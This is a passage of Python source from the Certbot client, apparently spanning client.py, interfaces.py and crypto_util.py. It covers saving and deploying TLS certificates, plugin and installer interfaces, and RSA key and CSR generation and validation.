                         cert_path, chain_path, fullchain_path):
        """Saves the certificate received from the ACME server.

        :param certr: ACME "certificate" resource.
        :type certr: :class:`acme.messages.Certificate`

        :param list chain_cert:
        :param str cert_path: Candidate path to a certificate.
        :param str chain_path: Candidate path to a certificate chain.
        :param str fullchain_path: Candidate path to a full cert chain.

        :returns: cert_path, chain_path, and fullchain_path as absolute
            paths to the actual files
        :rtype: `tuple` of `str`

        :raises IOError: If unable to find room to write the cert files

        """
        for path in cert_path, chain_path, fullchain_path:
            util.make_or_verify_dir(
                os.path.dirname(path), 0o755, os.geteuid(),
                self.config.strict_permissions)

        cert_pem = OpenSSL.crypto.dump_certificate(
            OpenSSL.crypto.FILETYPE_PEM, certr.body.wrapped).decode('ascii')

        cert_file, abs_cert_path = _open_pem_file('cert_path', cert_path)

        try:
            cert_file.write(cert_pem)
        finally:
            cert_file.close()
        logger.info("Server issued certificate; certificate written to %s",
                    abs_cert_path)

        if not chain_cert:
            return abs_cert_path, None, None
        else:
            chain_pem = crypto_util.dump_pyopenssl_chain(chain_cert)

            chain_file, abs_chain_path =\
                    _open_pem_file('chain_path', chain_path)
            fullchain_file, abs_fullchain_path =\
                    _open_pem_file('fullchain_path', fullchain_path)

            _save_chain(chain_pem, chain_file)
            _save_chain(cert_pem + chain_pem, fullchain_file)

            return abs_cert_path, abs_chain_path, abs_fullchain_path

    def deploy_certificate(self, domains, privkey_path,
                           cert_path, chain_path, fullchain_path):
        """Install certificate

        :param list domains: list of domains to install the certificate
        :param str privkey_path: path to certificate private key
        :param str cert_path: certificate file path (optional)
        :param str chain_path: chain file path

        """
        if self.installer is None:
            logger.warning("No installer specified, client is unable to deploy"
                           "the certificate")
            raise errors.Error("No installer available")

        chain_path = None if chain_path is None else os.path.abspath(chain_path)

        with error_handler.ErrorHandler(self.installer.recovery_routine):
            for dom in domains:
                self.installer.deploy_cert(
                    domain=dom, cert_path=os.path.abspath(cert_path),
                    key_path=os.path.abspath(privkey_path),
                    chain_path=chain_path,
                    fullchain_path=fullchain_path)
                self.installer.save()  # needed by the Apache plugin

            self.installer.save("Deployed ACME Certificate")

        msg = ("We were unable to install your certificate, "
               "however, we successfully restored your "
               "server to its prior configuration.")
        with error_handler.ErrorHandler(self._rollback_and_restart, msg):
            # sites may have been enabled / final cleanup
            self.installer.restart()
    def enhance_config(self, domains, config):
        """Enhance the configuration.

        :param list domains: list of domains to configure

        :ivar config: Namespace typically produced by
            :meth:`argparse.ArgumentParser.parse_args`.
            it must have the redirect, hsts and uir attributes.
        :type namespace: :class:`argparse.Namespace`

        :raises .errors.Error: if no installer is specified in the
            client.

        """

        if self.installer is None:
            logger.warning("No installer is specified, there isn't any "
                           "configuration to enhance.")
            raise errors.Error("No installer available")

        if config is None:
            logger.warning("No config is specified.")
            raise errors.Error("No config available")

        supported = self.installer.supported_enhancements()
        redirect = config.redirect if "redirect" in supported else False
        hsts = config.hsts if "ensure-http-header" in supported else False
        uir = config.uir if "ensure-http-header"  in supported else False
        staple = config.staple if "staple-ocsp" in supported else False

        if redirect is None:
            redirect = enhancements.ask("redirect")

        if redirect:
            self.apply_enhancement(domains, "redirect")

        if hsts:
            self.apply_enhancement(domains, "ensure-http-header",
                    "Strict-Transport-Security")
        if uir:
            self.apply_enhancement(domains, "ensure-http-header",
                    "Upgrade-Insecure-Requests")
        if staple:
            self.apply_enhancement(domains, "staple-ocsp")

        msg = ("We were unable to restart web server")
        if redirect or hsts or uir or staple:
            with error_handler.ErrorHandler(self._rollback_and_restart, msg):
                self.installer.restart()

    def apply_enhancement(self, domains, enhancement, options=None):
        """Applies an enhacement on all domains.

        :param domains: list of ssl_vhosts
        :type list of str

        :param enhancement: name of enhancement, e.g. ensure-http-header
        :type str

        .. note:: when more options are need make options a list.
        :param options: options to enhancement, e.g. Strict-Transport-Security
        :type str

        :raises .errors.PluginError: If Enhancement is not supported, or if
            there is any other problem with the enhancement.


        """
        msg = ("We were unable to set up enhancement %s for your server, "
               "however, we successfully installed your certificate."
               % (enhancement))
        with error_handler.ErrorHandler(self._recovery_routine_with_msg, msg):
            for dom in domains:
                try:
                    self.installer.enhance(dom, enhancement, options)
                except errors.PluginEnhancementAlreadyPresent:
                    logger.warning("Enhancement %s was already set.",
                            enhancement)
                except errors.PluginError:
                    logger.warning("Unable to set enhancement %s for %s",
                            enhancement, dom)
                    raise

            self.installer.save("Add enhancement %s" % (enhancement))

    def _recovery_routine_with_msg(self, success_msg):
        """Calls the installer's recovery routine and prints success_msg

        :param str success_msg: message to show on successful recovery

        """
        self.installer.recovery_routine()
        reporter = zope.component.getUtility(interfaces.IReporter)
        reporter.add_message(success_msg, reporter.HIGH_PRIORITY)

    def _rollback_and_restart(self, success_msg):
        """Rollback the most recent checkpoint and restart the webserver

        :param str success_msg: message to show on successful rollback

        """
        logger.critical("Rolling back to previous server configuration...")
        reporter = zope.component.getUtility(interfaces.IReporter)
        try:
            self.installer.rollback_checkpoints()
            self.installer.restart()
        except:
            # TODO: suggest letshelp-letsencypt here
            reporter.add_message(
                "An error occurred and we failed to restore your config and "
                "restart your server. Please submit a bug report to "
                "https://github.com/letsencrypt/letsencrypt",
                reporter.HIGH_PRIORITY)
            raise
        reporter.add_message(success_msg, reporter.HIGH_PRIORITY)


def validate_key_csr(privkey, csr=None):
    """Validate Key and CSR files.

    Verifies that the client key and csr arguments are valid and correspond to
    one another. This does not currently check the names in the CSR due to
    the inability to read SANs from CSRs in python crypto libraries.

    If csr is left as None, only the key will be validated.

    :param privkey: Key associated with CSR
    :type privkey: :class:`certbot.util.Key`

    :param .util.CSR csr: CSR

    :raises .errors.Error: when validation fails

    """
    # TODO: Handle all of these problems appropriately
    # The client can eventually do things like prompt the user
    # and allow the user to take more appropriate actions

    # Key must be readable and valid.
    if privkey.pem and not crypto_util.valid_privkey(privkey.pem):
        raise errors.Error("The provided key is not a valid key")

    if csr:
        if csr.form == "der":
            csr_obj = OpenSSL.crypto.load_certificate_request(
                OpenSSL.crypto.FILETYPE_ASN1, csr.data)
            csr = util.CSR(csr.file, OpenSSL.crypto.dump_certificate(
                OpenSSL.crypto.FILETYPE_PEM, csr_obj), "pem")

        # If CSR is provided, it must be readable and valid.
        if csr.data and not crypto_util.valid_csr(csr.data):
            raise errors.Error("The provided CSR is not a valid CSR")

        # If both CSR and key are provided, the key must be the same key used
        # in the CSR.
        if csr.data and privkey.pem:
            if not crypto_util.csr_matches_pubkey(
                    csr.data, privkey.pem):
                raise errors.Error("The key and CSR do not match")


def rollback(default_installer, checkpoints, config, plugins):
    """Revert configuration the specified number of checkpoints.

    :param int checkpoints: Number of checkpoints to revert.

    :param config: Configuration.
    :type config: :class:`certbot.interfaces.IConfig`

    """
    # Misconfigurations are only a slight problems... allow the user to rollback
    installer = plugin_selection.pick_installer(
        config, default_installer, plugins, question="Which installer "
        "should be used for rollback?")

    # No Errors occurred during init... proceed normally
    # If installer is None... couldn't find an installer... there shouldn't be
    # anything to rollback
    if installer is not None:
        installer.rollback_checkpoints(checkpoints)
        installer.restart()


def view_config_changes(config, num=None):
    """View checkpoints and associated configuration changes.

    .. note:: This assumes that the installation is using a Reverter object.

    :param config: Configuration.
    :type config: :class:`certbot.interfaces.IConfig`

    """
    rev = reverter.Reverter(config)
    rev.recovery_routine()
    rev.view_config_changes(num)

def _open_pem_file(cli_arg_path, pem_path):
    """Open a pem file.

    If cli_arg_path was set by the client, open that.
    Otherwise, uniquify the file path.

    :param str cli_arg_path: the cli arg name, e.g. cert_path
    :param str pem_path: the pem file path to open

    :returns: a tuple of file object and its absolute file path

    """
    if cli.set_by_cli(cli_arg_path):
        return util.safe_open(pem_path, chmod=0o644),\
            os.path.abspath(pem_path)
    else:
        uniq = util.unique_file(pem_path, 0o644)
        return uniq[0], os.path.abspath(uniq[1])

def _save_chain(chain_pem, chain_file):
    """Saves chain_pem at a unique path based on chain_path.

    :param str chain_pem: certificate chain in PEM format
    :param str chain_file: chain file object

    """
    try:
        chain_file.write(chain_pem)
    finally:
        chain_file.close()

    logger.info("Cert chain written to %s", chain_file.name)






"""Certbot client interfaces."""
import abc
import zope.interface

# pylint: disable=no-self-argument,no-method-argument,no-init,inherit-non-class
# pylint: disable=too-few-public-methods


class AccountStorage(object):
    """Accounts storage interface."""

    __metaclass__ = abc.ABCMeta

    @abc.abstractmethod
    def find_all(self):  # pragma: no cover
        """Find all accounts.

        :returns: All found accounts.
        :rtype: list

        """
        raise NotImplementedError()

    @abc.abstractmethod
    def load(self, account_id):  # pragma: no cover
        """Load an account by its id.

        :raises .AccountNotFound: if account could not be found
        :raises .AccountStorageError: if account could not be loaded

        """
        raise NotImplementedError()

    @abc.abstractmethod
    def save(self, account):  # pragma: no cover
        """Save account.

        :raises .AccountStorageError: if account could not be saved

        """
        raise NotImplementedError()


class IPluginFactory(zope.interface.Interface):
    """IPlugin factory.

    Objects providing this interface will be called without satisfying
    any entry point "extras" (extra dependencies) you might have defined
    for your plugin, e.g (excerpt from ``setup.py`` script)::

      setup(
          ...
          entry_points={
              'certbot.plugins': [
                  'name=example_project.plugin[plugin_deps]',
              ],
          },
          extras_require={
              'plugin_deps': ['dep1', 'dep2'],
          }
      )

    Therefore, make sure such objects are importable and usable without
    extras. This is necessary, because CLI does the following operations
    (in order):

      - loads an entry point,
      - calls `inject_parser_options`,
      - requires an entry point,
      - creates plugin instance (`__call__`).

    """

    description = zope.interface.Attribute("Short plugin description")

    def __call__(config, name):
        """Create new `IPlugin`.

        :param IConfig config: Configuration.
        :param str name: Unique plugin name.

        """

    def inject_parser_options(parser, name):
        """Inject argument parser options (flags).

        1. Be nice and prepend all options and destinations with
        `~.common.option_namespace` and `~common.dest_namespace`.

        2. Inject options (flags) only. Positional arguments are not
        allowed, as this would break the CLI.

        :param ArgumentParser parser: (Almost) top-level CLI parser.
        :param str name: Unique plugin name.

        """


class IPlugin(zope.interface.Interface):
    """Certbot plugin."""

    def prepare():
        """Prepare the plugin.

        Finish up any additional initialization.

        :raises .PluginError:
            when full initialization cannot be completed.
        :raises .MisconfigurationError:
            when full initialization cannot be completed. Plugin will
            be displayed on a list of available plugins.
        :raises .NoInstallationError:
            when the necessary programs/files cannot be located. Plugin
            will NOT be displayed on a list of available plugins.
        :raises .NotSupportedError:
            when the installation is recognized, but the version is not
            currently supported.

        """

    def more_info():
        """Human-readable string to help the user.

        Should describe the steps taken and any relevant info to help the user
        decide which plugin to use.

        :rtype str:

        """


class IAuthenticator(IPlugin):
    """Generic Certbot Authenticator.

    Class represents all possible tools processes that have the
    ability to perform challenges and attain a certificate.

    """

    def get_chall_pref(domain):
        """Return list of challenge preferences.

        :param str domain: Domain for which challenge preferences are sought.

        :returns: List of challenge types (subclasses of
            :class:`acme.challenges.Challenge`) with the most
            preferred challenges first. If a type is not specified, it means the
            Authenticator cannot perform the challenge.
        :rtype: list

        """

    def perform(achalls):
        """Perform the given challenge.

        :param list achalls: Non-empty (guaranteed) list of
            :class:`~certbot.achallenges.AnnotatedChallenge`
            instances, such that it contains types found within
            :func:`get_chall_pref` only.

        :returns: List of ACME
            :class:`~acme.challenges.ChallengeResponse` instances
            or if the :class:`~acme.challenges.Challenge` cannot
            be fulfilled then:

            ``None``
              Authenticator can perform challenge, but not at this time.
            ``False``
              Authenticator will never be able to perform (error).

        :rtype: :class:`list` of
            :class:`acme.challenges.ChallengeResponse`,
            where responses are required to be returned in
            the same order as corresponding input challenges

        :raises .PluginError: If challenges cannot be performed

        """

    def cleanup(achalls):
        """Revert changes and shutdown after challenges complete.

        This method should be able to revert all changes made by
        perform, even if perform exited abnormally.

        :param list achalls: Non-empty (guaranteed) list of
            :class:`~certbot.achallenges.AnnotatedChallenge`
            instances, a subset of those previously passed to :func:`perform`.

        :raises PluginError: if original configuration cannot be restored

        """


class IConfig(zope.interface.Interface):
    """Certbot user-supplied configuration.

    .. warning:: The values stored in the configuration have not been
        filtered, stripped or sanitized.

    """
    server = zope.interface.Attribute("ACME Directory Resource URI.")
    email = zope.interface.Attribute(
        "Email used for registration and recovery contact.")
    rsa_key_size = zope.interface.Attribute("Size of the RSA key.")
    must_staple = zope.interface.Attribute(
        "Adds the OCSP Must Staple extension to the certificate. "
        "Autoconfigures OCSP Stapling for supported setups "
        "(Apache version >= 2.3.3 ).")

    config_dir = zope.interface.Attribute("Configuration directory.")
    work_dir = zope.interface.Attribute("Working directory.")

    accounts_dir = zope.interface.Attribute(
        "Directory where all account information is stored.")
    backup_dir = zope.interface.Attribute("Configuration backups directory.")
    csr_dir = zope.interface.Attribute(
        "Directory where newly generated Certificate Signing Requests "
        "(CSRs) are saved.")
    in_progress_dir = zope.interface.Attribute(
        "Directory used before a permanent checkpoint is finalized.")
    key_dir = zope.interface.Attribute("Keys storage.")
    temp_checkpoint_dir = zope.interface.Attribute(
        "Temporary checkpoint directory.")

    renewer_config_file = zope.interface.Attribute(
        "Location of renewal configuration file.")

    no_verify_ssl = zope.interface.Attribute(
        "Disable verification of the ACME server's certificate.")
    tls_sni_01_port = zope.interface.Attribute(
        "Port number to perform tls-sni-01 challenge. "
        "Boulder in testing mode defaults to 5001.")

    http01_port = zope.interface.Attribute(
        "Port used in the SimpleHttp challenge.")


class IInstaller(IPlugin):
    """Generic Certbot Installer Interface.

    Represents any server that an X509 certificate can be placed.

    It is assumed that :func:`save` is the only method that finalizes a
    checkpoint. This is important to ensure that checkpoints are
    restored in a consistent manner if requested by the user or in case
    of an error.

    Using :class:`certbot.reverter.Reverter` to implement checkpoints,
    rollback, and recovery can dramatically simplify plugin development.

    """

    def get_all_names():
        """Returns all names that may be authenticated.

        :rtype: `list` of `str`

        """

    def deploy_cert(domain, cert_path, key_path, chain_path, fullchain_path):
        """Deploy certificate.

        :param str domain: domain to deploy certificate file
        :param str cert_path: absolute path to the certificate file
        :param str key_path: absolute path to the private key file
        :param str chain_path: absolute path to the certificate chain file
        :param str fullchain_path: absolute path to the certificate fullchain
            file (cert plus chain)

        :raises .PluginError: when cert cannot be deployed

        """

    def enhance(domain, enhancement, options=None):
        """Perform a configuration enhancement.

        :param str domain: domain for which to provide enhancement
        :param str enhancement: An enhancement as defined in
            :const:`~certbot.constants.ENHANCEMENTS`
        :param options: Flexible options parameter for enhancement.
            Check documentation of
            :const:`~certbot.constants.ENHANCEMENTS`
            for expected options for each enhancement.

        :raises .PluginError: If Enhancement is not supported, or if
            an error occurs during the enhancement.

        """

    def supported_enhancements():
        """Returns a list of supported enhancements.

        :returns: supported enhancements which should be a subset of
            :const:`~certbot.constants.ENHANCEMENTS`
        :rtype: :class:`list` of :class:`str`

        """

    def get_all_certs_keys():
        """Retrieve all certs and keys set in configuration.

        :returns: tuples with form `[(cert, key, path)]`, where:

            - `cert` - str path to certificate file
            - `key` - str path to associated key file
            - `path` - file path to configuration file

        :rtype: list

        """

    def save(title=None, temporary=False):
        """Saves all changes to the configuration files.

        Both title and temporary are needed because a save may be
        intended to be permanent, but the save is not ready to be a full
        checkpoint.

        It is assumed that at most one checkpoint is finalized by this
        method. Additionally, if an exception is raised, it is assumed a
        new checkpoint was not finalized.

        :param str title: The title of the save. If a title is given, the
            configuration will be saved as a new checkpoint and put in a
            timestamped directory. `title` has no effect if temporary is true.

        :param bool temporary: Indicates whether the changes made will
            be quickly reversed in the future (challenges)

        :raises .PluginError: when save is unsuccessful

        """

    def rollback_checkpoints(rollback=1):
        """Revert `rollback` number of configuration checkpoints.

        :raises .PluginError: when configuration cannot be fully reverted

        """

    def recovery_routine():
        """Revert configuration to most recent finalized checkpoint.

        Remove all changes (temporary and permanent) that have not been
        finalized. This is useful to protect against crashes and other
        execution interruptions.

        :raises .errors.PluginError: If unable to recover the configuration

        """

    def view_config_changes():
        """Display all of the LE config changes.

        :raises .PluginError: when config changes cannot be parsed

        """

    def config_test():
        """Make sure the configuration is valid.

        :raises .MisconfigurationError: when the config is not in a usable state

        """

    def restart():
        """Restart or refresh the server content.

        :raises .PluginError: when server cannot be restarted

        """


class IDisplay(zope.interface.Interface):
    """Generic display."""

    def notification(message, height, pause):
        """Displays a string message

        :param str message: Message to display
        :param int height: Height of dialog box if applicable
        :param bool pause: Whether or not the application should pause for
            confirmation (if available)

        """

    def menu(message, choices, ok_label="OK",      # pylint: disable=too-many-arguments
             cancel_label="Cancel", help_label="", default=None, cli_flag=None):
        """Displays a generic menu.

        :param str message: message to display

        :param choices: choices
        :type choices: :class:`list` of :func:`tuple` or :class:`str`

        :param str ok_label: label for OK button
        :param str cancel_label: label for Cancel button
        :param str help_label: label for Help button
        :param int default: default (non-interactive) choice from the menu
        :param str cli_flag: to automate choice from the menu, eg "--keep"

        :returns: tuple of (`code`, `index`) where
            `code` - str display exit code
            `index` - int index of the user's selection

        :raises errors.MissingCommandlineFlag: if called in non-interactive
            mode without a default set

        """

    def input(message, default=None, cli_args=None):
        """Accept input from the user.

        :param str message: message to display to the user

        :returns: tuple of (`code`, `input`) where
            `code` - str display exit code
            `input` - str of the user's input
        :rtype: tuple

        :raises errors.MissingCommandlineFlag: if called in non-interactive
            mode without a default set

        """

    def yesno(message, yes_label="Yes", no_label="No", default=None,
              cli_args=None):
        """Query the user with a yes/no question.

        Yes and No label must begin with different letters.

        :param str message: question for the user
        :param str default: default (non-interactive) choice from the menu
        :param str cli_flag: to automate choice from the menu, eg "--redirect / --no-redirect"

        :returns: True for "Yes", False for "No"
        :rtype: bool

        :raises errors.MissingCommandlineFlag: if called in non-interactive
            mode without a default set

        """

    def checklist(message, tags, default_state, default=None, cli_args=None):
        """Allow for multiple selections from a menu.

        :param str message: message to display to the user
        :param list tags: where each is of type :class:`str` len(tags) > 0
        :param bool default_status: If True, items are in a selected state by default.
        :param str default: default (non-interactive) state of the checklist
        :param str cli_flag: to automate choice from the menu, eg "--domains"

        :returns: tuple of the form (code, list_tags) where
            `code` - int display exit code
            `list_tags` - list of str tags selected by the user
        :rtype: tuple

        :raises errors.MissingCommandlineFlag: if called in non-interactive
            mode without a default set

        """

    def directory_select(self, message, default=None, cli_flag=None):
        """Display a directory selection screen.

        :param str message: prompt to give the user
        :param default: the default value to return, if one exists, when
            using the NoninteractiveDisplay
        :param str cli_flag: option used to set this value with the CLI,
            if one exists, to be included in error messages given by
            NoninteractiveDisplay

        :returns: tuple of the form (`code`, `string`) where
            `code` - int display exit code
            `string` - input entered by the user

        """


class IValidator(zope.interface.Interface):
    """Configuration validator."""

    def certificate(cert, name, alt_host=None, port=443):
        """Verifies the certificate presented at name is cert

        :param OpenSSL.crypto.X509 cert: Expected certificate
        :param str name: Server's domain name
        :param bytes alt_host: Host to connect to instead of the IP
            address of host
        :param int port: Port to connect to

        :returns: True if the certificate was verified successfully
        :rtype: bool

        """

    def redirect(name, port=80, headers=None):
        """Verify redirect to HTTPS

        :param str name: Server's domain name
        :param int port: Port to connect to
        :param dict headers: HTTP headers to include in request

        :returns: True if redirect is successfully enabled
        :rtype: bool

        """

    def hsts(name):
        """Verify HSTS header is enabled

        :param str name: Server's domain name

        :returns: True if HSTS header is successfully enabled
        :rtype: bool

        """

    def ocsp_stapling(name):
        """Verify ocsp stapling for domain

        :param str name: Server's domain name

        :returns: True if ocsp stapling is successfully enabled
        :rtype: bool

        """


class IReporter(zope.interface.Interface):
    """Interface to collect and display information to the user."""

    HIGH_PRIORITY = zope.interface.Attribute(
        "Used to denote high priority messages")
    MEDIUM_PRIORITY = zope.interface.Attribute(
        "Used to denote medium priority messages")
    LOW_PRIORITY = zope.interface.Attribute(
        "Used to denote low priority messages")

    def add_message(self, msg, priority, on_crash=True):
        """Adds msg to the list of messages to be printed.

        :param str msg: Message to be displayed to the user.

        :param int priority: One of HIGH_PRIORITY, MEDIUM_PRIORITY, or
            LOW_PRIORITY.

        :param bool on_crash: Whether or not the message should be printed if
            the program exits abnormally.

        """

    def print_messages(self):
        """Prints messages to the user and clears the message queue."""






"""Certbot client crypto utility functions.

.. todo:: Make the transition to use PSS rather than PKCS1_v1_5 when the server
    is capable of handling the signatures.

"""
import logging
import os
import traceback

import OpenSSL
import pyrfc3339
import six
import zope.component

from acme import crypto_util as acme_crypto_util
from acme import jose

from certbot import errors
from certbot import interfaces
from certbot import util


logger = logging.getLogger(__name__)


# High level functions
def init_save_key(key_size, key_dir, keyname="key-certbot.pem"):
    """Initializes and saves a privkey.

    Inits key and saves it in PEM format on the filesystem.

    .. note:: keyname is the attempted filename, it may be different if a file
        already exists at the path.

    :param int key_size: RSA key size in bits
    :param str key_dir: Key save directory.
    :param str keyname: Filename of key

    :returns: Key
    :rtype: :class:`certbot.util.Key`

    :raises ValueError: If unable to generate the key given key_size.

    """
    try:
        key_pem = make_key(key_size)
    except ValueError as err:
        logger.exception(err)
        raise err

    config = zope.component.getUtility(interfaces.IConfig)
    # Save file
    util.make_or_verify_dir(key_dir, 0o700, os.geteuid(),
                            config.strict_permissions)
    key_f, key_path = util.unique_file(os.path.join(key_dir, keyname), 0o600)
    with key_f:
        key_f.write(key_pem)

    logger.info("Generating key (%d bits): %s", key_size, key_path)

    return util.Key(key_path, key_pem)


def init_save_csr(privkey, names, path, csrname="csr-certbot.pem"):
    """Initialize a CSR with the given private key.

    :param privkey: Key to include in the CSR
    :type privkey: :class:`certbot.util.Key`

    :param set names: `str` names to include in the CSR

    :param str path: Certificate save directory.

    :returns: CSR
    :rtype: :class:`certbot.util.CSR`

    """
    config = zope.component.getUtility(interfaces.IConfig)

    csr_pem, csr_der = make_csr(privkey.pem, names,
        must_staple=config.must_staple)

    # Save CSR
    util.make_or_verify_dir(path, 0o755, os.geteuid(),
                               config.strict_permissions)
    csr_f, csr_filename = util.unique_file(
        os.path.join(path, csrname), 0o644)
    csr_f.write(csr_pem)
    csr_f.close()

    logger.info("Creating CSR: %s", csr_filename)

    return util.CSR(csr_filename, csr_der, "der")


# Lower level functions
def make_csr(key_str, domains, must_staple=False):
    """Generate a CSR.

    :param str key_str: PEM-encoded RSA key.
    :param list domains: Domains included in the certificate.

    .. todo:: Detect duplicates in `domains`? Using a set doesn't
              preserve order...

    :returns: new CSR in PEM and DER form containing all domains
    :rtype: tuple

    """
    assert domains, "Must provide one or more hostnames for the CSR."
    pkey = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, key_str)
    req = OpenSSL.crypto.X509Req()
    req.get_subject().CN = domains[0]
    # TODO: what to put into req.get_subject()?
    # TODO: put SAN if len(domains) > 1
    extensions = [
        OpenSSL.crypto.X509Extension(
            b"subjectAltName",
            critical=False,
            value=", ".join("DNS:%s" % d for d in domains).encode('ascii')
        )
    ]
    if must_staple:
        extensions.append(OpenSSL.crypto.X509Extension(
            b"1.3.6.1.5.5.7.1.24",
            critical=False,
            value=b"DER:30:03:02:01:05"))
    req.add_extensions(extensions)
    req.set_version(2)
    req.set_pubkey(pkey)
    req.sign(pkey, "sha256")
    return tuple(OpenSSL.crypto.dump_certificate_request(method, req)
                 for method in (OpenSSL.crypto.FILETYPE_PEM,
                                OpenSSL.crypto.FILETYPE_ASN1))


# WARNING: the csr and private key file are possible attack vectors for TOCTOU
# We should either...
# A. Do more checks to verify that the CSR is trusted/valid
# B. Audit the parsing code for vulnerabilities

def valid_csr(csr):
    """Validate CSR.

    Check if `csr` is a valid CSR for the given domains.

    :param str csr: CSR in PEM.

    :returns: Validity of CSR.
    :rtype: bool

    """
    try:
        req = OpenSSL.crypto.load_certificate_request(
            OpenSSL.crypto.FILETYPE_PEM, csr)
        return req.verify(req.get_pubkey())
    except OpenSSL.crypto.Error as error:
        logger.debug(error, exc_info=True)
        return False


def csr_matches_pubkey(csr, privkey):
    """Does private key correspond to the subject public key in the CSR?

    :param str csr: CSR in PEM.
    :param str privkey: Private key file contents (PEM)

    :returns: Correspondence of private key to CSR subject public key.
    :rtype: bool

    """
    req = OpenSSL.crypto.load_certificate_request(
        OpenSSL.crypto.FILETYPE_PEM, csr)
    pkey = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, privkey)
    try:
        return req.verify(pkey)
    except OpenSSL.crypto.Error as error:
        logger.debug(error, exc_info=True)
        return False


def import_csr_file(csrfile, data):
    """Import a CSR file, which can be either PEM or DER.

    :param str csrfile: CSR filename
    :param str data: contents of the CSR file

    :returns: (`OpenSSL.crypto.FILETYPE_PEM` or `OpenSSL.crypto.FILETYPE_ASN1`,
               util.CSR object representing the CSR,
               list of domains requested in the CSR)
    :rtype: tuple

    """
    for form, typ in (("der", OpenSSL.crypto.FILETYPE_ASN1,),
                      ("pem", OpenSSL.crypto.FILETYPE_PEM,),):
        try:
            domains = get_names_from_csr(data, typ)
        except OpenSSL.crypto.Error:
            logger.debug("CSR parse error (form=%s, typ=%s):", form, typ)
            logger.debug(traceback.format_exc())
            continue
        return typ, util.CSR(file=csrfile, data=data, form=form), domains
    raise errors.Error("Failed to parse CSR file: {0}".format(csrfile))


def make_key(bits):
    """Generate PEM encoded RSA key.

    :param int bits: Number of bits, at least 1024.

    :returns: new RSA key in PEM form with specified number of bits
    :rtype: str

    """
    assert bits >= 1024  # XXX
    key = OpenSSL.crypto.PKey()
    key.generate_key(OpenSSL.crypto.TYPE_RSA, bits)
    return OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, key)


def valid_privkey(privkey):
    """Is valid RSA private key?

    :param str privkey: Private key file contents in PEM

    :returns: Validity of private key.
    :rtype: bool

    """
    try:
        return OpenSSL.crypto.load_privatekey(
            OpenSSL.crypto.FILETYPE_PEM, privkey).check()
    except (TypeError, OpenSSL.crypto.Error):
        return False


def pyopenssl_load_certificate(data):
    """Load PEM/DER certificate.

    :raises errors.Error:

    """

    openssl_errors = []

    for file_type in (OpenSSL.crypto.FILETYPE_PEM, OpenSSL.crypto.FILETYPE_ASN1):
        try:
            return OpenSSL.crypto.load_certificate(file_type, data), file_type
        except OpenSSL.crypto.Error as error:  # TODO: other errors?
            openssl_errors.append(error)
    raise errors.Error("Unable to load: {0}".format(",".join(
        str(error) for error in openssl_errors)))


def _load_cert_or_req(cert_or_req_str, load_func,
                      typ=OpenSSL.crypto.FILETYPE_PEM):
    try:
        return load_func(typ, cert_or_req_str)
    except OpenSSL.crypto.Error as error:
        logger.exception(error)
        raise


def _get_sans_from_cert_or_req(cert_or_req_str, load_func,
                               typ=OpenSSL.crypto.FILETYPE_PEM):
    # pylint: disable=protected-access
    return acme_crypto_util._pyopenssl_cert_or_req_san(_load_cert_or_req(
        cert_or_req_str, load_func, typ))


def get_sans_from_cert(cert, typ=OpenSSL.crypto.FILETYPE_PEM):
    """Get a list of Subject Alternative Names from a certificate.

    :param str cert: Certificate (encoded).
    :param typ: `OpenSSL.crypto.FILETYPE_PEM` or `OpenSSL.crypto.FILETYPE_ASN1`

    :returns: A list of Subject Alternative Names.
    :rtype: list

    """
    return _get_sans_from_cert_or_req(
        cert, OpenSSL.crypto.load_certificate, typ)


def get_sans_from_csr(csr, typ=OpenSSL.crypto.FILETYPE_PEM):
    """Get a list of Subject Alternative Names from a CSR.

    :param str csr: CSR (encoded).
    :param typ: `OpenSSL.crypto.FILETYPE_PEM` or `OpenSSL.crypto.FILETYPE_ASN1`

    :returns: A list of Subject Alternative Names.
    :rtype: list

    """
    return _get_sans_from_cert_or_req(
        csr, OpenSSL.crypto.load_certificate_request, typ)


def _get_names_from_cert_or_req(cert_or_req, load_func, typ):
    loaded_cert_or_req = _load_cert_or_req(cert_or_req, load_func, typ)
    common_name = loaded_cert_or_req.get_subject().CN
    # pylint: disable=protected-access
    sans = acme_crypto_util._pyopenssl_cert_or_req_san(loaded_cert_or_req)

    if common_name is None:
        return sans
    else:
        return [common_name] + [d for d in sans if d != common_name]


def get_names_from_cert(csr, typ=OpenSSL.crypto.FILETYPE_PEM):
    """Get a list of domains from a cert, including the CN if it is set.

    :param str cert: Certificate (encoded).
    :param typ: `OpenSSL.crypto.FILETYPE_PEM` or `OpenSSL.crypto.FILETYPE_ASN1`

    :returns: A list of domain names.
    :rtype: list

    """
    return _get_names_from_cert_or_req(
        csr, OpenSSL.crypto.load_certificate, typ)


def get_names_from_csr(csr, typ=OpenSSL.crypto.FILETYPE_PEM):
    """Get a list of domains from a CSR, including the CN if it is set.

    :param str csr: CSR (encoded).
    :param typ: `OpenSSL.crypto.FILETYPE_PEM` or `OpenSSL.crypto.FILETYPE_ASN1`

    :returns: A list of domain names.
    :rtype: list

    """
    return _get_names_from_cert_or_req(
        csr, OpenSSL.crypto.load_certificate_request, typ)


def dump_pyopenssl_chain(chain, filetype=OpenSSL.crypto.FILETYPE_PEM):
    """Dump certificate chain into a bundle.

    :param list chain: List of `OpenSSL.crypto.X509` (or wrapped in
        `acme.jose.ComparableX509`).

    """
    # XXX: returns empty string when no chain is available, which
    # shuts up RenewableCert, but might not be the best solution...

    def _dump_cert(cert):
        if isinstance(cert, jose.ComparableX509):
            # pylint: disable=protected-access
            cert = cert.wrapped
        return OpenSSL.crypto.dump_certificate(filetype, cert).decode('ascii')

    # assumes that OpenSSL.crypto.dump_certificate includes ending
    # newline character
    return "".join(_dump_cert(cert) for cert in chain)


def notBefore(cert_path):
    """When does the cert at cert_path start being valid?

    :param str cert_path: path to a cert in PEM format

    :returns: the notBefore value from the cert at cert_path
    :rtype: :class:`datetime.datetime`

    """
    return _notAfterBefore(cert_path, OpenSSL.crypto.X509.get_notBefore)


def notAfter(cert_path):
    """When does the cert at cert_path stop being valid?

    :param str cert_path: path to a cert in PEM format

    :returns: the notAfter value from the cert at cert_path
    :rtype: :class:`datetime.datetime`

    """
    return _notAfterBefore(cert_path, OpenSSL.crypto.X509.get_notAfter)


def _notAfterBefore(cert_path, method):
    """Internal helper function for finding notbefore/notafter.

    :param str cert_path: path to a cert in PEM format
    :param function method: one of ``OpenSSL.crypto.X509.get_notBefore``
